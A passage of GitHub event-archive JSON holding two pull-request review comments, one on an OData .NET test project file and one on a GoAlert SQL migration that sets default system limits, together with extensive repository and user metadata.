Link=\"References\\Microsoft.Test.OData.Services.TestServices.ActionOverloadingServiceReference.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\Services\\CSDSCReferences\\Microsoft.Test.OData.Services.TestServices.AstoriaDefaultServiceReference.cs\" Link=\"References\\Microsoft.Test.OData.Services.TestServices.AstoriaDefaultServiceReference.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\Services\\CSDSCReferences\\Microsoft.Test.OData.Services.TestServices.KeyAsSegmentServiceReference.cs\" Link=\"References\\Microsoft.Test.OData.Services.TestServices.KeyAsSegmentServiceReference.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\Services\\CSDSCReferences\\Microsoft.Test.OData.Services.TestServices.ODataWriterDefaultServiceReference.cs\" Link=\"References\\Microsoft.Test.OData.Services.TestServices.ODataWriterDefaultServiceReference.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\Services\\CSDSCReferences\\Microsoft.Test.OData.Services.TestServices.PrimitiveKeysServiceReference.cs\" Link=\"References\\Microsoft.Test.OData.Services.TestServices.PrimitiveKeysServiceReference.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\Services\\TestServices\\IServiceUriGenerator.cs\" Link=\"ServiceWrapper\\IServiceUriGenerator.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\Services\\TestServices\\OpenTypesServiceClientTypes.cs\" Link=\"ClientWithoutTypeResolverTests\\OpenTypesServiceClientTypes.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\Services\\TestServices\\Service References\\ODataWCFModelReferenceServiceReference\\Microsoft.Test.OData.Services.TestServices.ModelReferenceServiceReference.cs\" Link=\"References\\Microsoft.Test.OData.Services.TestServices.ModelReferenceServiceReference.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\Services\\TestServices\\T4Clients\\OperationService.cs\" Link=\"OperationTests\\OperationService.cs\" />\r\n+ <Compile Include=\"..\\..\\..\\Services\\TestServices\\TestServiceUtil.cs\" Link=\"ServiceWrapper\\TestServiceUtil.cs\" />\r\n+ <Compile Include=\"..\\AsynchronousTests\\AsynchronousAttribute.cs\" Link=\"AsynchronousAttribute.cs\" />\r\n+ <Compile Include=\"..\\AsynchronousTests\\AsynchronousDelayQueryTests.cs\" Link=\"AsynchronousDelayQueryTests.cs\" />\r\n+ <Compile Include=\"..\\AsynchronousTests\\AsynchronousQueryTests.cs\" Link=\"AsynchronousQueryTests.cs\" />\r\n+ <Compile Include=\"..\\AsynchronousTests\\AsynchronousSingletonClientTest.cs\" Link=\"AsynchronousSingletonClientTest.cs\" />\r\n+ <Compile Include=\"..\\AsynchronousTests\\AsynchronousTestsExtensionMethodsDesktop.cs\" Link=\"References\\AsynchronousTestsExtensionMethodsDesktop.cs\" />\r\n+ <Compile Include=\"..\\AsynchronousTests\\AsynchronousUpdateTests.cs\" Link=\"AsynchronousUpdateTests.cs\" />\r\n+ <Compile Include=\"..\\AsynchronousTests\\AsyncMethodTests.cs\" Link=\"AsyncMethodTests.cs\" />\r\n+ <Compile Include=\"..\\EndToEndTestBase.cs\" Link=\"EndToEndTestBase.cs\" />\r\n+ <Compile Include=\"..\\ServiceGeneratorFactory.cs\" Link=\"ServiceGeneratorFactory.cs\" />\r\n+ </ItemGroup>\r\n+\r\n+ <ItemGroup>\r\n+ <PackageReference Include=\"Microsoft.NETCore.Portable.Compatibility\" Version=\"1.0.1\" />\r\n+ <PackageReference Include=\"Microsoft.NET.Test.Sdk\" Version=\"15.3.0\" />\r\n+ <PackageReference Include=\"MSTest.TestAdapter\" Version=\"1.1.18\" />\r\n+ <PackageReference Include=\"MSTest.TestFramework\" Version=\"1.1.18\" />\r\n+ <PackageReference Include=\"System.ComponentModel.Annotations\" Version=\"4.4.0\" />\r\n+ <PackageReference Include=\"System.Composition\" Version=\"1.1.0\" />\r\n+ <PackageReference Include=\"System.Runtime.Serialization.Formatters\" Version=\"4.3.0\" />\r\n+ <PackageReference Include=\"System.Runtime.Serialization.Primitives\" Version=\"4.3.0\" />\r\n+ <PackageReference Include=\"System.ServiceModel.Primitives\" Version=\"4.4.0\" />\r\n+ <PackageReference Include=\"xunit\" Version=\"2.2.0\" />\r\n+ <PackageReference Include=\"xunit.runner.visualstudio\" Version=\"2.2.0\" />\r\n+ </ItemGroup>\r\n+\r\n+ <ItemGroup>\r\n+ <ProjectReference Include=\"..\\..\\..\\..\\..\\src\\Microsoft.OData.Client\\Microsoft.OData.Client.NetStandard.VS2017.csproj\" />\r\n+ <ProjectReference Include=\"..\\..\\..\\..\\..\\src\\Microsoft.OData.Core\\Microsoft.OData.Core.NetStandard.VS2017.csproj\" />\r\n+ <ProjectReference Include=\"..\\..\\..\\..\\..\\src\\Microsoft.OData.Edm\\Microsoft.OData.Edm.NetStandard.VS2017.csproj\" />\r\n+ <ProjectReference Include=\"..\\..\\..\\..\\..\\src\\Microsoft.Spatial\\Microsoft.Spatial.NetStandard.VS2017.csproj\" />\r\n+ <ProjectReference Include=\"..\\..\\..\\..\\Common\\Microsoft.Test.OData.DependencyInjection\\Microsoft.Test.OData.DependencyInjection.NetCore.csproj\" />\r\n+ </ItemGroup>\r\n+\r\n <ItemGroup>\r\n <Folder Include=\"References\\\" />\r\n </ItemGroup>\r\n-\n-</Project>","path":"test/EndToEndTests/Tests/Client/Build.Desktop/Microsoft.Test.OData.Tests.Client.NetCore.csproj","position":289,"original_position":289,"commit_id":"84a1478c1eb3363d1d691dfce86663125e1d904b","original_commit_id":"84a1478c1eb3363d1d691dfce86663125e1d904b","user":{"login":"KanishManuja-MS","id":41647051,"node_id":"MDQ6VXNlcjQxNjQ3MDUx","avatar_url":"https://avatars2.githubusercontent.com/u/41647051?v=4","gravatar_id":"","url":"https://api.github.com/users/KanishManuja-MS","html_url":"https://github.com/KanishManuja-MS","followers_url":"https://api.github.com/users/KanishManuja-MS/followers","following_url":"https://api.github.com/users/KanishManuja-MS/following{/other_user}","gists_url":"https://api.github.com/users/KanishManuja-MS/gists{/gist_id}","starred_url":"https://api.github.com/users/KanishManuja-MS/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/KanishManuja-MS/subscriptions","organizations_url":"https://api.github.com/users/KanishManuja-MS/orgs","repos_url":"https://api.github.com/users/KanishManuja-MS/repos","events_url":"https://api.github.com/users/KanishManuja-MS/events{/privacy}","received_events_url":"https://api.github.com/users/KanishManuja-MS/received_events","type":"User","site_admin":false},"body":"Does this have any change? If it is a change that you did not intend then please revert this. ","created_at":"2019-11-19T17:30:50Z","updated_at":"2019-11-19T17:33:59Z","html_url":"https://github.com/OData/odata.net/pull/1595#discussion_r348065600","pull_request_url":"https://api.github.com/repos/OData/odata.net/pulls/1595","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/OData/odata.net/pulls/comments/348065600"},"html":{"href":"https://github.com/OData/odata.net/pull/1595#discussion_r348065600"},"pull_request":{"href":"https://api.github.com/repos/OData/odata.net/pulls/1595"}}},"pull_request":{"url":"https://api.github.com/repos/OData/odata.net/pulls/1595","id":340664101,"node_id":"MDExOlB1bGxSZXF1ZXN0MzQwNjY0MTAx","html_url":"https://github.com/OData/odata.net/pull/1595","diff_url":"https://github.com/OData/odata.net/pull/1595.diff","patch_url":"https://github.com/OData/odata.net/pull/1595.patch","issue_url":"https://api.github.com/repos/OData/odata.net/issues/1595","number":1595,"state":"open","locked":false,"title":"Fixing CopyFrom method in OdataMessageReader and OdataMessageWriter to include Arraypool","user":{"login":"Sreejithpin","id":37782322,"node_id":"MDQ6VXNlcjM3NzgyMzIy","avatar_url":"https://avatars1.githubusercontent.com/u/37782322?v=4","gravatar_id":"","url":"https://api.github.com/users/Sreejithpin","html_url":"https://github.com/Sreejithpin","followers_url":"https://api.github.com/users/Sreejithpin/followers","following_url":"https://api.github.com/users/Sreejithpin/following{/other_user}","gists_url":"https://api.github.com/users/Sreejithpin/gists{/gist_id}","starred_url":"https://api.github.com/users/Sreejithpin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Sreejithpin/subscriptions","organizations_url":"https://api.github.com/users/Sreejithpin/orgs","repos_url":"https://api.github.com/users/Sreejithpin/repos","events_url":"https://api.github.com/users/Sreejithpin/events{/privacy}","received_events_url":"https://api.github.com/users/Sreejithpin/received_events","type":"User","site_admin":false},"body":"<!-- markdownlint-disable MD002 MD041 -->\r\n\r\n### Issues\r\n\r\nThere was an issue that OData.Core ICharArrayPool is not hooked up properly, which was causing lot of Large Object Heap allocations taking up lot of memory\r\n\r\n### Description\r\n\r\n- Added Arrayppol copying in ODataMessage reader and writer settings\r\n- Added test cases for checking the same\r\n- Added generic test method to compare 2 objects (deep copy)\r\n\r\n### Checklist (Uncheck if it is not completed)\r\n\r\n- [ ] *Test cases added*\r\n- [ ] *Build and test with one-click build and test script passed*\r\n\r\n### Additional work necessary\r\nN/A\r\n","created_at":"2019-11-13T20:56:46Z","updated_at":"2019-11-19T17:33:59Z","closed_at":null,"merged_at":null,"merge_commit_sha":"f4c0a967afdd1e0b8067fb78c1307bb6f1cb4a73","assignee":null,"assignees":[],"requested_reviewers":[{"login":"xuzhg","id":9426627,"node_id":"MDQ6VXNlcjk0MjY2Mjc=","avatar_url":"https://avatars0.githubusercontent.com/u/9426627?v=4","gravatar_id":"","url":"https://api.github.com/users/xuzhg","html_url":"https://github.com/xuzhg","followers_url":"https://api.github.com/users/xuzhg/followers","following_url":"https://api.github.com/users/xuzhg/following{/other_user}","gists_url":"https://api.github.com/users/xuzhg/gists{/gist_id}","starred_url":"https://api.github.com/users/xuzhg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/xuzhg/subscriptions","organizations_url":"https://api.github.com/users/xuzhg/orgs","repos_url":"https://api.github.com/users/xuzhg/repos","events_url":"https://api.github.com/users/xuzhg/events{/privacy}","received_events_url":"https://api.github.com/users/xuzhg/received_events","type":"User","site_admin":false}],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/OData/odata.net/pulls/1595/commits","review_comments_url":"https://api.github.com/repos/OData/odata.net/pulls/1595/comments","review_comment_url":"https://api.github.com/repos/OData/odata.net/pulls/comments{/number}","comments_url":"https://api.github.com/repos/OData/odata.net/issues/1595/comments","statuses_url":"https://api.github.com/repos/OData/odata.net/statuses/84a1478c1eb3363d1d691dfce86663125e1d904b","head":{"label":"Sreejithpin:UpdateCopyFromMethod","ref":"UpdateCopyFromMethod","sha":"84a1478c1eb3363d1d691dfce86663125e1d904b","user":{"login":"Sreejithpin","id":37782322,"node_id":"MDQ6VXNlcjM3NzgyMzIy","avatar_url":"https://avatars1.githubusercontent.com/u/37782322?v=4","gravatar_id":"","url":"https://api.github.com/users/Sreejithpin","html_url":"https://github.com/Sreejithpin","followers_url":"https://api.github.com/users/Sreejithpin/followers","following_url":"https://api.github.com/users/Sreejithpin/following{/other_user}","gists_url":"https://api.github.com/users/Sreejithpin/gists{/gist_id}","starred_url":"https://api.github.com/users/Sreejithpin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Sreejithpin/subscriptions","organizations_url":"https://api.github.com/users/Sreejithpin/orgs","repos_url":"https://api.github.com/users/Sreejithpin/repos","events_url":"https://api.github.com/users/Sreejithpin/events{/privacy}","received_events_url":"https://api.github.com/users/Sreejithpin/received_events","type":"User","site_admin":false},"repo":{"id":221079616,"node_id":"MDEwOlJlcG9zaXRvcnkyMjEwNzk2MTY=","name":"odata.net","full_name":"Sreejithpin/odata.net","private":false,"owner":{"login":"Sreejithpin","id":37782322,"node_id":"MDQ6VXNlcjM3NzgyMzIy","avatar_url":"https://avatars1.githubusercontent.com/u/37782322?v=4","gravatar_id":"","url":"https://api.github.com/users/Sreejithpin","html_url":"https://github.com/Sreejithpin","followers_url":"https://api.github.com/users/Sreejithpin/followers","following_url":"https://api.github.com/users/Sreejithpin/following{/other_user}","gists_url":"https://api.github.com/users/Sreejithpin/gists{/gist_id}","starred_url":"https://api.github.com/users/Sreejithpin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Sreejithpin/subscriptions","organizations_url":"https://api.github.com/users/Sreejithpin/orgs","repos_url":"https://api.github.com/users/Sreejithpin/repos","events_url":"https://api.github.com/users/Sreejithpin/events{/privacy}","received_events_url":"https://api.github.com/users/Sreejithpin/received_events","type":"User","site_admin":false},"html_url":"https://github.com/Sreejithpin/odata.net","description":"ODataLib: Open Data Protocol - .NET Libraries and Frameworks","fork":true,"url":"https://api.github.com/repos/Sreejithpin/odata.net","forks_url":"https://api.github.com/repos/Sreejithpin/odata.net/forks","keys_url":"https://api.github.com/repos/Sreejithpin/odata.net/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Sreejithpin/odata.net/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Sreejithpin/odata.net/teams","hooks_url":"https://api.github.com/repos/Sreejithpin/odata.net/hooks","issue_events_url":"https://api.github.com/repos/Sreejithpin/odata.net/issues/events{/number}","events_url":"https://api.github.com/repos/Sreejithpin/odata.net/events","assignees_url":"https://api.github.com/repos/Sreejithpin/odata.net/assignees{/user}","branches_url":"https://api.github.com/repos/Sreejithpin/odata.net/branches{/branch}","tags_url":"https://api.github.com/repos/Sreejithpin/odata.net/tags","blobs_url":"https://api.github.com/repos/Sreejithpin/odata.net/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Sreejithpin/odata.net/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Sreejithpin/odata.net/git/refs{/sha}","trees_url":"https://api.github.com/repos/Sreejithpin/odata.net/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Sreejithpin/odata.net/statuses/{sha}","languages_url":"https://api.github.com/repos/Sreejithpin/odata.net/languages","stargazers_url":"https://api.github.com/repos/Sreejithpin/odata.net/stargazers","contributors_url":"https://api.github.com/repos/Sreejithpin/odata.net/contributors","subscribers_url":"https://api.github.com/repos/Sreejithpin/odata.net/subscribers","subscription_url":"https://api.github.com/repos/Sreejithpin/odata.net/subscription","commits_url":"https://api.github.com/repos/Sreejithpin/odata.net/commits{/sha}","git_commits_url":"https://api.github.com/repos/Sreejithpin/odata.net/git/commits{/sha}","comments_url":"https://api.github.com/repos/Sreejithpin/odata.net/comments{/number}","issue_comment_url":"https://api.github.com/repos/Sreejithpin/odata.net/issues/comments{/number}","contents_url":"https://api.github.com/repos/Sreejithpin/odata.net/contents/{+path}","compare_url":"https://api.github.com/repos/Sreejithpin/odata.net/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Sreejithpin/odata.net/merges","archive_url":"https://api.github.com/repos/Sreejithpin/odata.net/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Sreejithpin/odata.net/downloads","issues_url":"https://api.github.com/repos/Sreejithpin/odata.net/issues{/number}","pulls_url":"https://api.github.com/repos/Sreejithpin/odata.net/pulls{/number}","milestones_url":"https://api.github.com/repos/Sreejithpin/odata.net/milestones{/number}","notifications_url":"https://api.github.com/repos/Sreejithpin/odata.net/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Sreejithpin/odata.net/labels{/name}","releases_url":"https://api.github.com/repos/Sreejithpin/odata.net/releases{/id}","deployments_url":"https://api.github.com/repos/Sreejithpin/odata.net/deployments","created_at":"2019-11-11T22:13:11Z","updated_at":"2019-11-18T19:18:35Z","pushed_at":"2019-11-18T21:36:49Z","git_url":"git://github.com/Sreejithpin/odata.net.git","ssh_url":"git@github.com:Sreejithpin/odata.net.git","clone_url":"https://github.com/Sreejithpin/odata.net.git","svn_url":"https://github.com/Sreejithpin/odata.net","homepage":"https://docs.microsoft.com/odata","size":55905,"stargazers_count":0,"watchers_count":0,"language":"C#","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"OData:master","ref":"master","sha":"2afd3c103ad6b7d1ba6295bd49ff8c69d725ea6b","user":{"login":"OData","id":916520,"node_id":"MDEyOk9yZ2FuaXphdGlvbjkxNjUyMA==","avatar_url":"https://avatars1.githubusercontent.com/u/916520?v=4","gravatar_id":"","url":"https://api.github.com/users/OData","html_url":"https://github.com/OData","followers_url":"https://api.github.com/users/OData/followers","following_url":"https://api.github.com/users/OData/following{/other_user}","gists_url":"https://api.github.com/users/OData/gists{/gist_id}","starred_url":"https://api.github.com/users/OData/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/OData/subscriptions","organizations_url":"https://api.github.com/users/OData/orgs","repos_url":"https://api.github.com/users/OData/repos","events_url":"https://api.github.com/users/OData/events{/privacy}","received_events_url":"https://api.github.com/users/OData/received_events","type":"Organization","site_admin":false},"repo":{"id":23308338,"node_id":"MDEwOlJlcG9zaXRvcnkyMzMwODMzOA==","name":"odata.net","full_name":"OData/odata.net","private":false,"owner":{"login":"OData","id":916520,"node_id":"MDEyOk9yZ2FuaXphdGlvbjkxNjUyMA==","avatar_url":"https://avatars1.githubusercontent.com/u/916520?v=4","gravatar_id":"","url":"https://api.github.com/users/OData","html_url":"https://github.com/OData","followers_url":"https://api.github.com/users/OData/followers","following_url":"https://api.github.com/users/OData/following{/other_user}","gists_url":"https://api.github.com/users/OData/gists{/gist_id}","starred_url":"https://api.github.com/users/OData/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/OData/subscriptions","organizations_url":"https://api.github.com/users/OData/orgs","repos_url":"https://api.github.com/users/OData/repos","events_url":"https://api.github.com/users/OData/events{/privacy}","received_events_url":"https://api.github.com/users/OData/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/OData/odata.net","description":"ODataLib: Open Data Protocol - .NET Libraries and Frameworks","fork":false,"url":"https://api.github.com/repos/OData/odata.net","forks_url":"https://api.github.com/repos/OData/odata.net/forks","keys_url":"https://api.github.com/repos/OData/odata.net/keys{/key_id}","collaborators_url":"https://api.github.com/repos/OData/odata.net/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/OData/odata.net/teams","hooks_url":"https://api.github.com/repos/OData/odata.net/hooks","issue_events_url":"https://api.github.com/repos/OData/odata.net/issues/events{/number}","events_url":"https://api.github.com/repos/OData/odata.net/events","assignees_url":"https://api.github.com/repos/OData/odata.net/assignees{/user}","branches_url":"https://api.github.com/repos/OData/odata.net/branches{/branch}","tags_url":"https://api.github.com/repos/OData/odata.net/tags","blobs_url":"https://api.github.com/repos/OData/odata.net/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/OData/odata.net/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/OData/odata.net/git/refs{/sha}","trees_url":"https://api.github.com/repos/OData/odata.net/git/trees{/sha}","statuses_url":"https://api.github.com/repos/OData/odata.net/statuses/{sha}","languages_url":"https://api.github.com/repos/OData/odata.net/languages","stargazers_url":"https://api.github.com/repos/OData/odata.net/stargazers","contributors_url":"https://api.github.com/repos/OData/odata.net/contributors","subscribers_url":"https://api.github.com/repos/OData/odata.net/subscribers","subscription_url":"https://api.github.com/repos/OData/odata.net/subscription","commits_url":"https://api.github.com/repos/OData/odata.net/commits{/sha}","git_commits_url":"https://api.github.com/repos/OData/odata.net/git/commits{/sha}","comments_url":"https://api.github.com/repos/OData/odata.net/comments{/number}","issue_comment_url":"https://api.github.com/repos/OData/odata.net/issues/comments{/number}","contents_url":"https://api.github.com/repos/OData/odata.net/contents/{+path}","compare_url":"https://api.github.com/repos/OData/odata.net/compare/{base}...{head}","merges_url":"https://api.github.com/repos/OData/odata.net/merges","archive_url":"https://api.github.com/repos/OData/odata.net/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/OData/odata.net/downloads","issues_url":"https://api.github.com/repos/OData/odata.net/issues{/number}","pulls_url":"https://api.github.com/repos/OData/odata.net/pulls{/number}","milestones_url":"https://api.github.com/repos/OData/odata.net/milestones{/number}","notifications_url":"https://api.github.com/repos/OData/odata.net/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/OData/odata.net/labels{/name}","releases_url":"https://api.github.com/repos/OData/odata.net/releases{/id}","deployments_url":"https://api.github.com/repos/OData/odata.net/deployments","created_at":"2014-08-25T09:15:23Z","updated_at":"2019-11-18T18:32:14Z","pushed_at":"2019-11-18T21:46:07Z","git_url":"git://github.com/OData/odata.net.git","ssh_url":"git@github.com:OData/odata.net.git","clone_url":"https://github.com/OData/odata.net.git","svn_url":"https://github.com/OData/odata.net","homepage":"https://docs.microsoft.com/odata","size":55958,"stargazers_count":436,"watchers_count":436,"language":"C#","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":248,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":373,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":248,"open_issues":373,"watchers":436,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/OData/odata.net/pulls/1595"},"html":{"href":"https://github.com/OData/odata.net/pull/1595"},"issue":{"href":"https://api.github.com/repos/OData/odata.net/issues/1595"},"comments":{"href":"https://api.github.com/repos/OData/odata.net/issues/1595/comments"},"review_comments":{"href":"https://api.github.com/repos/OData/odata.net/pulls/1595/comments"},"review_comment":{"href":"https://api.github.com/repos/OData/odata.net/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/OData/odata.net/pulls/1595/commits"},"statuses":{"href":"https://api.github.com/repos/OData/odata.net/statuses/84a1478c1eb3363d1d691dfce86663125e1d904b"}},"author_association":"NONE"}}
|
{
"id": 23308338,
"name": "OData/odata.net",
"url": "https://api.github.com/repos/OData/odata.net"
}
|
{
"id": 41647051,
"login": "KanishManuja-MS",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/41647051?",
"url": "https://api.github.com/users/KanishManuja-MS"
}
|
{
"id": 916520,
"login": "OData",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/916520?",
"url": "https://api.github.com/orgs/OData"
}
| 2019-11-19T17:30:50 |
10899127674
|
{"actor":{"display_login":"KanishManuja-MS"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/target/goalert/pulls/comments/312094331","pull_request_review_id":272647829,"id":312094331,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMxMjA5NDMzMQ==","diff_hunk":"@@ -0,0 +1,15 @@\n+-- +migrate Up\n+INSERT INTO config_limits (id, max)\n+ VALUES \n+ ('notification_rules_per_user', 15),\n+ ('contact_methods_per_user', 10),\n+ ('ep_steps_per_policy', 10),\n+ ('ep_actions_per_step', 20),\n+ ('participants_per_rotation', 50),\n+ ('rules_per_schedule', 30),\n+ ('integration_keys_per_service', 30),\n+ ('unacked_alerts_per_service', 200),\n+ ('targets_per_schedule', 10)\n+ON CONFLICT DO NOTHING;","path":"migrate/migrations/20190807210857-set-default-system-limits.sql","position":13,"original_position":13,"commit_id":"9544db1cb5c8995e1f39d02b4b70c51da7ecf00f","original_commit_id":"9544db1cb5c8995e1f39d02b4b70c51da7ecf00f","user":{"login":"mastercactapus","id":595010,"node_id":"MDQ6VXNlcjU5NTAxMA==","avatar_url":"https://avatars1.githubusercontent.com/u/595010?v=4","gravatar_id":"","url":"https://api.github.com/users/mastercactapus","html_url":"https://github.com/mastercactapus","followers_url":"https://api.github.com/users/mastercactapus/followers","following_url":"https://api.github.com/users/mastercactapus/following{/other_user}","gists_url":"https://api.github.com/users/mastercactapus/gists{/gist_id}","starred_url":"https://api.github.com/users/mastercactapus/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mastercactapus/subscriptions","organizations_url":"https://api.github.com/users/mastercactapus/orgs","repos_url":"https://api.github.com/users/mastercactapus/repos","events_url":"https://api.github.com/users/mastercactapus/events{/privacy}","received_events_url":"https://api.github.com/users/mastercactapus/received_events","type":"User","site_admin":false},"body":"Missing default values for `heartbeat_monitors_per_service` and `user_overrides_per_schedule`.\r\n\r\nI'd say 30 for heartbeats (match integration keys) and for overrides may be a little higher at 35. (note the limit only affects current and future overrides). They can always be adjusted manually later (in DB or UI once that launches).","created_at":"2019-08-08T15:17:46Z","updated_at":"2019-08-08T15:17:52Z","html_url":"https://github.com/target/goalert/pull/85#discussion_r312094331","pull_request_url":"https://api.github.com/repos/target/goalert/pulls/85","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/target/goalert/pulls/comments/312094331"},"html":{"href":"https://github.com/target/goalert/pull/85#discussion_r312094331"},"pull_request":{"href":"https://api.github.com/repos/target/goalert/pulls/85"}}},"pull_request":{"url":"https://api.github.com/repos/target/goalert/pulls/85","id":305381910,"node_id":"MDExOlB1bGxSZXF1ZXN0MzA1MzgxOTEw","html_url":"https://github.com/target/goalert/pull/85","diff_url":"https://github.com/target/goalert/pull/85.diff","patch_url":"https://github.com/target/goalert/pull/85.patch","issue_url":"https://api.github.com/repos/target/goalert/issues/85","number":85,"state":"open","locked":false,"title":"system limits: set default values","user":{"login":"arurao","id":17820696,"node_id":"MDQ6VXNlcjE3ODIwNjk2","avatar_url":"https://avatars0.githubusercontent.com/u/17820696?v=4","gravatar_id":"","url":"https://api.github.com/users/arurao","html_url":"https://github.com/arurao","followers_url":"https://api.github.com/users/arurao/followers","following_url":"https://api.github.com/users/arurao/following{/other_user}","gists_url":"https://api.github.com/users/arurao/gists{/gist_id}","starred_url":"https://api.github.com/users/arurao/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arurao/subscriptions","organizations_url":"https://api.github.com/users/arurao/orgs","repos_url":"https://api.github.com/users/arurao/repos","events_url":"https://api.github.com/users/arurao/events{/privacy}","received_events_url":"https://api.github.com/users/arurao/received_events","type":"User","site_admin":false},"body":"<!-- Thank you for your contribution to Goalert. -->\r\n<!-- Before submitting this PR, please make sure that you have: -->\r\n\r\n- [X] Identified the issue which this PR solves.\r\n- [X] Read the [**CONTRIBUTING**](https://github.com/target/goalert/blob/master/CONTRIBUTING.md) document.\r\n- [X] Code builds clean without any errors or warnings.\r\n- [X] Added appropriate tests for any new functionality.\r\n- [X] All new and existing tests passed.\r\n- [X] Added comments in the code, where necessary.\r\n- [X] Ran `make check` to catch common errors. Fixed any that came up.\r\n\r\n**Description:**\r\nThis PR introduces a migration to set defaults for all the system limits. It does not modify any existing values. This also adds an exception for the specific migration in the migrations-test, so that it does not fail on migrate-down.","created_at":"2019-08-08T02:16:52Z","updated_at":"2019-08-08T15:17:52Z","closed_at":null,"merged_at":null,"merge_commit_sha":"d10ae1352795098a61ce36ad48e7e8540c12fac2","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/target/goalert/pulls/85/commits","review_comments_url":"https://api.github.com/repos/target/goalert/pulls/85/comments","review_comment_url":"https://api.github.com/repos/target/goalert/pulls/comments{/number}","comments_url":"https://api.github.com/repos/target/goalert/issues/85/comments","statuses_url":"https://api.github.com/repos/target/goalert/statuses/9544db1cb5c8995e1f39d02b4b70c51da7ecf00f","head":{"label":"target:config-default-values","ref":"config-default-values","sha":"9544db1cb5c8995e1f39d02b4b70c51da7ecf00f","user":{"login":"target","id":932489,"node_id":"MDEyOk9yZ2FuaXphdGlvbjkzMjQ4OQ==","avatar_url":"https://avatars2.githubusercontent.com/u/932489?v=4","gravatar_id":"","url":"https://api.github.com/users/target","html_url":"https://github.com/target","followers_url":"https://api.github.com/users/target/followers","following_url":"https://api.github.com/users/target/following{/other_user}","gists_url":"https://api.github.com/users/target/gists{/gist_id}","starred_url":"https://api.github.com/users/target/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/target/subscriptions","organizations_url":"https://api.github.com/users/target/orgs","repos_url":"https://api.github.com/users/target/repos","events_url":"https://api.github.com/users/target/events{/privacy}","received_events_url":"https://api.github.com/users/target/received_events","type":"Organization","site_admin":false},"repo":{"id":188457198,"node_id":"MDEwOlJlcG9zaXRvcnkxODg0NTcxOTg=","name":"goalert","full_name":"target/goalert","private":false,"owner":{"login":"target","id":932489,"node_id":"MDEyOk9yZ2FuaXphdGlvbjkzMjQ4OQ==","avatar_url":"https://avatars2.githubusercontent.com/u/932489?v=4","gravatar_id":"","url":"https://api.github.com/users/target","html_url":"https://github.com/target","followers_url":"https://api.github.com/users/target/followers","following_url":"https://api.github.com/users/target/following{/other_user}","gists_url":"https://api.github.com/users/target/gists{/gist_id}","starred_url":"https://api.github.com/users/target/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/target/subscriptions","organizations_url":"https://api.github.com/users/target/orgs","repos_url":"https://api.github.com/users/target/repos","events_url":"https://api.github.com/users/target/events{/privacy}","received_events_url":"https://api.github.com/users/target/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/target/goalert","description":"Open source on-call scheduling, automated escalations, and notifications so you never miss a critical 